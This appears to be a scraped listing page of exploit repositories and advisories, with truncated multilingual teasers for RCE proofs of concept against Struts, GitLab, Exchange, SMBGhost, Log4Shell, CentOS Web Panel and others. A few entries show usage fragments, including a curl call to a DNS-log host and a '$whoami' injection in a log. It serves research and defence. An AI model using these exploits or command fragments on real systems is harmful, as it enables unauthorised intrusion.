quarkus-qute: io.quarkus.qute.ReflectionValueResolver: Quarkus:Server-Side Template Injection (SSTI) vulnerability in ReflectionValueResolver of the Quarkus Qute template engine

A flaw was found in the Qute template engine, which is used by Quarkus to generate dynamic content like HTML pages or emails. The issue exists in the component responsible for looking up data values ReflectionValueResolver, which fails to properly block access to sensitive Java internal functions...

CVE-2022-23940

CVE-2022-23940 CVE-2022-23940에 대한 PoC, 일명 SCRMBT-187 - SuiteCRM= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 CVE 2017-5638을 위한 작동하는 POC 이 저장소는 CVE 2017-5638의 RCE 기능을 시연하는 작동하는 Python 예제를 포함합니다. 또한 참고를 위해 Struts Showcase WAR 파일이 포함되어 있습니다...

windows-kernel-exploits

windows-kernel-exploits Introduction windows-kernel-exploits Vulnerability List Security Bulletin KB Description Operating System CVE-2021-33739 Microsoft DWM Core Library Elevation of Privilege Vulnerability Windows 10, 20 CVE-2021-1732 Windows Win32k Elevation of Privilege Vulnerability Windows...

Orval: Import-time RCE via header-parameter default -> zod module-level template literal

Summary Orval's zod schema generation emits the header-parameter default value as a module-level template literal export const Default = ; without escaping $ or the backtick. A default of the form v$w injects a live JavaScript expression evaluated when the generated zod schema module is imported,...

CVE-2023-47253

CVE-2023-47253 CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 개념 증명 POC "gridValoresPopHidden" 매개변수에 PHP 코드를 포함한 URL에 접속하기만 하면 됩니다. 연구자 https://www.linkedin.com/in/xvinicius/...

CVE-2021-22205

CVE-2021-22205 영향받는 버전: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 사용법 root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token 획득: /users/signin을 통해 csrf-token을 획득한 후 앞선 CVE-2021-22205 poc를 사용하여 업로드 패킷을 구성하고 인증되지 않은 업로드 요청을 실행하여 최종적으로 rce를 달성합니다. 참고:...

Microsoft-Exchange-RCE

Microsoft-Exchange-RCE Microsoft Exchange CVE-2021-26855&CVE-2021-27065...

log4shell-docker-lab

Log4Shell Docker ラボ（CVE-2021-44228） コンポーネント この Docker ラボは、以下の3つのコンポーネントで構成されています： 脆弱性のある Spring Boot アプリケーション リモートコード実行に使用される .class ファイルをホストする HTTP サーバー 特定の LDAP クエリを HTTP サーバーにリダイレクトする LDAP リファラルサーバー Docker ラボのセットアップ 1. Docker ネットワーク root@kitploit: docker network create log4shell 2. Docker...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - 무섭게 보입니다. 아직도 Stagefright와 PNG 버그 취약점들을 기억하시나요.... CVE-2019-2107에서는 디코더/코덱이 mediacodec 사용자로 실행되며, 적절히 "조작된" 비디오타일 활성화 - pspps-i1tilesenabledflag를 통해 RCE가 가능할 수 있습니다. 영향을 받는 코덱은 HVECH.265 및 MPEG-H Part 2입니다. exploit rce android stagefright cve 추가 정보...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 이 저장소는 Follina MSDT를 Defender 관점에서 다루고 있습니다. 목차 개요 타임라인 익스플로잇 이해하기 IOC 목록 탐지 전략 테스트 및 연구 완화 계획 참고 자료 개요 이 버그는 crazymanShadow Chaser Group 소속이 보고한 Microsoft Windows 지원 진단 도구MSDT 원격 코드 실행 취약점입니다. Microsoft는 현재 이를 CVE-2022-30190로 추적하고 있습니다. 이 결함은 보안 업데이트를 계속 받는 모든 Windows 버전Window...

cisco-rce

CVE-2017-3881 Cisco IOS 원격 코드 실행 =================== 이 저장소는 2017년 3월 17일 Cisco Systems가 공개한 원격 코드 실행 취약점을 악용하기 위한 Proof-Of-Concept 코드를 포함하고 있습니다 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp 설명 익스플로잇 분석 글은 다음에서 확인할 수 있습니다 -...

CVE-2022-44877

Centos Web Panel 7 인증 없는 원격 코드 실행 - CVE-2022-44877 root@kitploit: + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog examplelog root ➜...

Php-unit-CVE-2017-9841

phpunit リモートコード実行脆弱性（CVE-2017-9841） composerはPHPのパッケージ管理ツールであり、composerを使って拡張パッケージをインストールすると、カレントディレクトリにvendorフォルダが作成され、すべてのファイルがその中に配置されます。通常、このディレクトリはWebディレクトリの外に配置し、ユーザーが直接アクセスできないようにする必要があります。...

Orval: Import-time RCE via enum-typed default -> zod module-level template literal

Summary Orval's zod schema generation emits the enum-typed default value as a module-level template literal export const …Default = ; without escaping $ or the backtick. A default of the form v$w injects a live JavaScript expression evaluated when the generated zod schema module is imported,...

CVE-2020-0796

CVE-2020-0796 원격 코드 실행 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수를 찾아내다 CVE-2020-0796 / "SMBGhost"에 대한 원격 코드 실행 POC 예상 결과: 시스템 권한의 리버스 셸. 교육 및 기업 환경에서의 테스트 용도로만 사용하세요. ZecOps는 이 코드에 대해 책임을 지지 않으며, 사용은 개인의 책임입니다. 서버, 엔드포인트 및 모바일 장치용 에이전트 없는 DFIR 도구자동으로 SMBGhost 및 기타 공격 유형 탐지에 관심이...

CVE-2019-11043

CVE-2019-11043 취약점 설명 Nginx에서 fastcgisplitpathinfo가 %0a를 포함한 요청을 처리할 때 줄바꿈 문자 \n을 만나면 PATHINFO가 비어 있게 됩니다. php-fpm은 PATHINFO가 비어 있는 경우 논리적 결함이 존재합니다. 공격자는 정교한 구성을 통해 원격 코드 실행을 유도할 수 있습니다. 영향 범위 Nginx + php-fpm 서버에서 다음과 같은 구성을 사용하는 경우 원격 코드 실행 취약점이 존재할 수 있습니다. location ^/.php/|$ fastcgisplitpathin...

CVE-2022-24112

CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 root@kitploit: 将目标放入url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...

CVE-2018-11686

CVE-2018-11686 CVE-2018-11686 - FlexPaper PHP Publish Service RCE = 2.3.6 found by Red Timmy Security 技術的分析: https://www.exploit-db.com/docs/english/46521-flexpaper-=-2.3.6-remote-code-execution-whitepaper.pdf セキュリティアドバイザリ: 不明 概念実証: 1. 設定ファイルの削除 FlexPaper（PHP）の changeconfig.php...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Yo, in this LetsDefend lab I dove into a SharePoint zero-day called ToolShell CVE-2025-53770. Basically, I mimicked a real-world attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection keys,...